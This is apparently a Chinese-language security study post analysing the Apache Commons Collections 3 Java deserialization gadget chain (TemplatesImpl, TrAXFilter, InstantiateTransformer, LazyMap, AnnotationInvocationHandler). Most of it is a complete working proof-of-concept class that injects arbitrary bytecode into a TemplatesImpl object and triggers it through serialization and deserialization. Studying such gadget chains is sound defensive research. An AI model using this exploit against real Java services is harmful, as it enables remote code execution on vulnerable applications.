Apache Commons Collections 3

利用链分析

与cc1不同的是利用了InstantiateTransformerTemplatesImpl 类的动态加载

TemplatesImpl.defineTransletClasses()完成了类的动态加载,

image-20230220164450032

可以看到defineTransletClasses 有三处调用 ,且只有一处的调用处,是被其他的调用的 getTransletInstance

image-20230220164821911

newTransformer 只有 TrAXFilter 这个类的构造函数中满足条件

image-20230220165015377

结合InstantiateTransformer 就可成功调用链。

image-20230220165103295

完整的POC

package org.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code = Files.readAllBytes(Paths.get("C:\\Users\\wjl\\Desktop\\CC\\target\\classes\\org\\example\\Test.class"));
        byte[][]codes = {code};
        bytecodes.set(templates,codes);
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
        });
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Map<?,?> decorate =  LazyMap.decorate(objectObjectHashMap, chainedTransformer);
        Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass1.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
        Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
        Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);
        serialize(o1);
        unserialize("ser.bin");

    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
        return objectInputStream.readObject();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        objectOutputStream.writeObject(obj);
    }
}

CC3利用流程图

image-20230220171002143

results matching ""

    No results matching ""